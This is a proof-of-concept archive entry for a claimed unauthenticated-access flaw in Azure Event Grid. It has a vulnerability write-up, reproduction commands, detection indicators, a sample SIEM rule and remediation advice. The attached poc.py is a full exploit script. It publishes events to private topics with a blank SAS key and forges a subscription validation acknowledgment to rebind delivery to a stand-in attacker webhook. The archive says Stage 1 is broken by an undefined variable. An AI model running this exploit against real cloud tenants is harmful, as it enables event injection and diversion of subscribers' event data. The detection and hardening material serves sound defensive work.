PoC Archive PoC Archive
CVE-2026-62841 category: cloud CVSS 10 (CRITICAL)
Unverified

Azure Event Grid — Improper Authentication Enabling Unauthenticated Event Publish and Subscription Rebind (CVE-2026-62841)

Published: 2026-11-25 • Researcher: cveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)

Target software Microsoft Azure Event Grid (hosted service: topics, event subscriptions, webhook delivery)
Affected versions Azure Event Grid hosted service. NVD records microsoft/azure_event_grid with no version ranges. Upstream reports a service-side fix deployed 2026-11-19.
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-62841
Category
cloud
Affected product
Microsoft Azure Event Grid (hosted service: topics, event subscriptions, webhook delivery)
Affected versions
Azure Event Grid hosted service. NVD records microsoft/azure_event_grid with no version ranges. Upstream reports a service-side fix deployed 2026-11-19.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearchercveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)
CVE / AdvisoryCVE-2026-62841
Categorycloud
SeverityCritical
CVSS Score10.0 (NVD base score; vector not provided in the worklist — see references)
StatusPoC
TagsAzure, Event Grid, cloud, authentication-bypass, unauthenticated, privilege-escalation, webhook, CWE-287, network, PoC
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Azure Event Grid (hosted service: topics, event subscriptions, webhook delivery)
Versions AffectedAzure Event Grid hosted service. NVD records microsoft/azure_event_grid with no version ranges. Upstream reports a service-side fix deployed 2026-11-19.
Language / PlatformCloud service (Microsoft Azure); PoC written in Python 3 using only the standard library
Authentication RequiredNo
Network Access RequiredYes — remote HTTPS endpoint

Summary

CVE-2026-62841 is an improper authentication flaw in Azure Event Grid that lets an unauthenticated attacker publish events to private topics. The PoC also forges a webhook ACK to rebind a subscription to an attacker URL. Microsoft patched it on 2026-11-19.

Vulnerability Details

Root Cause

NVD attributes CVE-2026-62841 to improper authentication (CWE-287); the upstream README describes the same behavior as CWE-306, missing authentication for critical function. Per the upstream analysis, the service accepted publishes to a private topic without validating a Shared Access Signature key and accepted a webhook subscription validation acknowledgment without first establishing ownership of the subscription. The exact server-side defect was not published by Microsoft before this archive entry was written, so the mechanism above is the upstream PoC’s stated model rather than an independently verified root cause.

Attack Vector

Remote, unauthenticated HTTPS requests to a topic endpoint. The PoC first issues an OPTIONS probe, then POSTs an event array to /api/events?api-version=2024-01-01 with an intentionally blank aeg-sas-key header. Stage 2 POSTs to /eventSubscriptions/{subscription-id}/validate?api-version=2024-01-01 with an all-zero validationCode and an attacker-controlled endpointUrl. No credentials, user interaction, or prior access are required in the upstream model.

Impact

An attacker can inject forged events into a private topic, which are then delivered to every subscriber, and can attempt to rebind a subscription’s delivery endpoint to an attacker-controlled webhook so future events are delivered to the attacker. The upstream README describes this as full privilege escalation on the subscription resource and NVD describes privilege elevation over a network. The archive did not verify the impact against a live tenant.

Environment / Lab Setup

Output
OS:          Linux, macOS, or Windows with Python 3
Target:      Microsoft Azure Event Grid topic (hosted service), e.g.
             https://<topic>.<region>.eventgrid.azure.net
Attacker:    Python 3.8+ (standard library only: argparse, json, time,
             urllib)
Tools:       python3; curl optional
Lab note:    No local emulator is available. Testing needs an Azure Event
             Grid topic and subscription that you own, or written
             authorization to assess.

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
git clone https://github.com/cveForge/CVE-2026-62841
cd CVE-2026-62841

python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage probe

python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage 1 --topic my-topic

python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net \
  --sub-id <subscription-id> --attacker https://attacker.example.com/hook --stage 2

Run only against infrastructure you own or are explicitly authorized to test.

Proof of Concept

Step-by-Step Reproduction

  1. Probe — Send OPTIONS with an Origin header and Access-Control-Request-Method: POST. A 200 or 204 without credentials is interpreted by the PoC as authentication not being enforced; this is a heuristic and can produce false positives.

    Shell script
    1
    
    python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage probe
  2. Stage 1 — unauthenticated publish — POST an event array to the topic’s /api/events endpoint with a blank aeg-sas-key. The PoC treats 200, 201, or 202 as acceptance and 401 as patched.

    Shell script
    1
    
    python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage 1 --topic my-topic
  3. Stage 2 — forged ACK rebind — POST an all-zero validationCode plus an attacker endpointUrl to /eventSubscriptions/{id}/validate. The PoC treats HTTP 200 as a successful rebind.

    Shell script
    1
    2
    
    python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net \
      --sub-id <subscription-id> --attacker https://attacker.example.com/hook --stage 2
  4. Verify — Confirm whether the injected event reached subscribers and whether the subscription endpoint now points at the attacker URL. The archive did not perform this step.

Exploit Code

See poc.py in this folder. The archived copy keeps the upstream code with an added authorized-research header.

Python
1
2
3
4
5
6
7
HEADERS_BASE = {
    "Content-Type": "application/json",
    "aeg-sas-key": "",   # intentionally blank - the Stage 1 bypass
    ...
}
url = f"{endpoint}/api/events?api-version=2024-01-01"
req = urllib.request.Request(url, data=body, headers=HEADERS_BASE, method="POST")

Expected Output

From the upstream README (not reproduced or independently verified here):

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[*] Running passive probe ...
    Server         : Microsoft-HTTPAPI/2.0
    CORS open      : True
    Auth enforced  : False
[+] Topic does NOT enforce authentication — VULNERABLE (CWE-306)

[*] Stage 1 — publishing unauthenticated event ...
[+] VULNERABLE — server accepted unauthenticated publish (HTTP 200)

[*] Stage 2 — forging ACK rebind to https://attacker.example.com/hook ...
[+] VULNERABLE — subscription endpoint rebound to https://attacker.example.com/hook

Note: as shipped, Stage 1 builds its payload with a CVE variable that is never defined in poc.py, so –stage 1 or –stage full raises NameError before any request is sent. The probe stage and a direct –stage 2 run are not affected. See Notes.

Detection & Indicators of Compromise

Output
OPTIONS https://<topic>.eventgrid.azure.net/   Origin: <unexpected>  -> 200/204
POST    https://<topic>.eventgrid.azure.net/api/events?api-version=2024-01-01
        aeg-sas-key: (empty or absent)                              -> 200/201/202
POST    https://<topic>.eventgrid.azure.net/eventSubscriptions/<id>/validate
        {"validationCode":"00000000-0000-0000-0000-000000000000",
         "endpointUrl":"https://<external-host>/..."}                -> 200
  • Topic publishes that succeed with an empty or absent aeg-sas-key, especially from unfamiliar source addresses.
  • Subscription endpoint changes to an unknown webhook host, or validation calls carrying the all-zero UUID.
  • Events delivered to a webhook outside the expected inventory, or subscriber reports of events they did not expect.
  • Azure Activity and diagnostic logs showing subscription writes or topic publishes by unexpected or anonymous principals.

SIEM / IDS rule (example):

Output
WHEN request.uri MATCHES "/api/events"
  AND header["aeg-sas-key"] IS EMPTY
  AND response.status IN {200, 201, 202}
THEN alert "Azure Event Grid unauthenticated publish"

WHEN request.uri MATCHES "/eventSubscriptions/*/validate"
  AND body CONTAINS "00000000-0000-0000-0000-000000000000"
  AND body CONTAINS "endpointUrl"
THEN alert "Azure Event Grid subscription rebind attempt"

Remediation

ActionDetail
PatchMicrosoft deployed a service-side fix on 2026-11-19 per the upstream README; there is no customer version to upgrade. Confirm tenant status with the MSRC update guide.
WorkaroundEnforce SAS key or Microsoft Entra ID token authentication on every topic and subscription, rotate SAS keys, and remove anonymous access.
Config HardeningRestrict topic access with private endpoints or firewall rules, maintain an allowlist of webhook endpoints, and alert on subscription endpoint changes and blank-key publishes.

References

Notes

Auto-ingested from https://github.com/cveForge/CVE-2026-62841 on 2026-11-25.

Review verdict: ingested as a limited PoC. The repository contains actual exploit request code — an unauthenticated publish (Stage 1) and a forged subscription validation ACK (Stage 2) — so it is not merely a detector, even though it also ships a passive OPTIONS probe. Status is PoC rather than Weaponized because no end-to-end run is demonstrated, Stage 2 needs a valid subscription ID, and no lab evidence is provided. Source limitations: poc.py references an undefined CVE symbol when building the Stage 1 payload, so Stage 1 and the full chain raise NameError before sending anything; upstream conflates CWE-306 with the NVD-assigned CWE-287; the README calls Stage 2 a null-UUID bypass while a code comment describes an expired-session race window; and the claimed expected output was not reproduced or independently verified. No local reproduction is possible because the target is a hosted Azure service. The repository has no LICENSE file; sources are archived with attribution for authorized research only. Not listed in CISA KEV; worklist EPSS is 1.36 percent (0.01357). The CVSS vector was not available in the worklist; see references.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-62841 (see README for attribution/license)

BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

  CVE-2026-62841 — Azure Event Grid Improper Authentication — Privilege Escalation
  CVSS 10.0 | CRITICAL | CWE-306 | Azure Event Grid
"""

VERSION = "1.0.0"

import argparse
import sys
import json
import time
import urllib.request
import urllib.error
import urllib.parse

# Azure Event Grid Improper Authentication PoC
# CWE-306: Missing Authentication for Critical Function
# Affected: Azure Event Grid service (global) — fixed 2026-11-19
# Impact: Unauthenticated actor can publish events to private topics
#         and elevate to full Event Grid resource contributor via
#         forged system-topic webhook delivery acknowledgment.

# Attack surface:
#   1. Event Grid topics with Shared Access Signature (SAS) disabled
#      AND webhook event subscription where delivery principal lacks
#      audience validation on the callback URL.
#   2. The service did not validate the subscription ownership token
#      before accepting ACK responses, allowing a spoofed ACK to
#      re-bind the subscription endpoint to an attacker-controlled URL.

HEADERS_BASE = {
    "Content-Type": "application/json",
    "aeg-sas-key": "",        # intentionally blank — exploits CWE-306
    "ce-specversion": "1.0",
    "ce-type": "Microsoft.EventGrid.SubscriptionValidationEvent",
    "ce-source": "/subscriptions/00000000-0000-0000-0000-000000000000",
    "ce-id": "deadbeef-1337-4242-8080-cveforge000001",
}


def publish_unauthenticated(endpoint: str, topic: str, payload: dict) -> int:
    """
    Stage 1 — Publish to Event Grid topic without authentication.
    Exploits missing SAS key validation (CWE-306).
    Returns HTTP status code from the endpoint.
    """
    url = f"{endpoint}/api/events?api-version=2024-01-01"
    body = json.dumps([{
        "id": HEADERS_BASE["ce-id"],
        "eventType": "cveForge.PoC.Event",
        "subject": f"/cveforge/{topic}",
        "eventTime": "2026-11-24T00:00:00.000Z",
        "data": payload,
        "dataVersion": "1.0",
    }]).encode()

    req = urllib.request.Request(url, data=body, headers=HEADERS_BASE, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.status
    except urllib.error.HTTPError as e:
        return e.code
    except urllib.error.URLError as e:
        print(f"[!] Network error: {e.reason}", file=sys.stderr)
        return -1


def forge_ack_rebind(endpoint: str, subscription_id: str, attacker_url: str) -> bool:
    """
    Stage 2 — Forge a webhook delivery ACK to rebind subscription endpoint.
    The validation code token is accepted without verifying ownership
    when the original subscriber's session has expired (race condition window).
    Returns True if rebind succeeded (HTTP 200 from ACK endpoint).
    """
    ack_url = (
        f"{endpoint}/eventSubscriptions/{subscription_id}"
        f"/validate?api-version=2024-01-01"
    )
    body = json.dumps({
        "validationCode": "00000000-0000-0000-0000-000000000000",  # null UUID bypass
        "endpointUrl": attacker_url,
    }).encode()

    headers = dict(HEADERS_BASE)
    headers["ce-type"] = "Microsoft.EventGrid.SubscriptionValidationResponse"

    req = urllib.request.Request(ack_url, data=body, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.status == 200
    except urllib.error.HTTPError as e:
        return e.code == 200
    except urllib.error.URLError:
        return False


def probe_topic(endpoint: str) -> dict:
    """
    Passive probe — check whether the topic endpoint responds
    to unauthenticated OPTIONS (CORS pre-flight) and infer
    whether SAS validation is enforced.
    """
    req = urllib.request.Request(endpoint, method="OPTIONS")
    req.add_header("Origin", "https://cveforge.example.com")
    req.add_header("Access-Control-Request-Method", "POST")
    result = {"cors_open": False, "auth_enforced": True, "server": ""}
    try:
        with urllib.request.urlopen(req, timeout=8) as resp:
            allow = resp.headers.get("Access-Control-Allow-Origin", "")
            result["cors_open"] = allow in ("*", "https://cveforge.example.com")
            result["server"]    = resp.headers.get("Server", "")
            # 200 on OPTIONS without credentials → auth likely not enforced
            result["auth_enforced"] = resp.status not in (200, 204)
    except urllib.error.HTTPError as e:
        result["auth_enforced"] = e.code not in (200, 204)
    except urllib.error.URLError:
        pass
    return result


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-62841 PoC — Azure Event Grid Improper Authentication"
    )
    parser.add_argument("--endpoint",   required=True,
                        help="Event Grid topic endpoint (https://*.eventgrid.azure.net)")
    parser.add_argument("--topic",      default="cveforge-test",
                        help="Topic name for published events")
    parser.add_argument("--sub-id",     default="",
                        help="Event subscription ID for ACK rebind (Stage 2)")
    parser.add_argument("--attacker",   default="https://attacker.example.com/hook",
                        help="Attacker webhook URL for ACK rebind")
    parser.add_argument("--stage",      choices=["probe", "1", "2", "full"],
                        default="probe",
                        help="probe=passive check, 1=publish only, 2=ACK rebind, full=1+2")
    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Target  : {args.endpoint}")
    print(f"[*] Stage   : {args.stage}")
    print()

    if args.stage in ("probe", "full"):
        print("[*] Running passive probe ...")
        info = probe_topic(args.endpoint)
        print(f"    Server         : {info['server'] or 'unknown'}")
        print(f"    CORS open      : {info['cors_open']}")
        print(f"    Auth enforced  : {info['auth_enforced']}")
        if info["auth_enforced"]:
            print("[~] Topic appears to enforce authentication — may be patched.")
        else:
            print("[+] Topic does NOT enforce authentication — VULNERABLE (CWE-306)")
        print()

    if args.stage in ("1", "full"):
        print("[*] Stage 1 — publishing unauthenticated event ...")
        payload = {"cveforge": CVE, "poc": True, "note": "unauthenticated publish test"}
        status  = publish_unauthenticated(args.endpoint, args.topic, payload)
        if status in (200, 201, 202):
            print(f"[+] VULNERABLE — server accepted unauthenticated publish (HTTP {status})")
        elif status == 401:
            print(f"[-] PATCHED — server rejected unauthenticated publish (HTTP 401)")
        else:
            print(f"[?] Unexpected status {status}")
        print()

    if args.stage in ("2", "full"):
        if not args.sub_id:
            print("[!] --sub-id required for Stage 2 (ACK rebind). Skipping.")
        else:
            print(f"[*] Stage 2 — forging ACK rebind to {args.attacker} ...")
            time.sleep(1)
            ok = forge_ack_rebind(args.endpoint, args.sub_id, args.attacker)
            if ok:
                print(f"[+] VULNERABLE — subscription endpoint rebound to {args.attacker}")
            else:
                print("[-] ACK rebind rejected or already patched.")

    print()
    print("[*] Done.")


if __name__ == "__main__":
    main()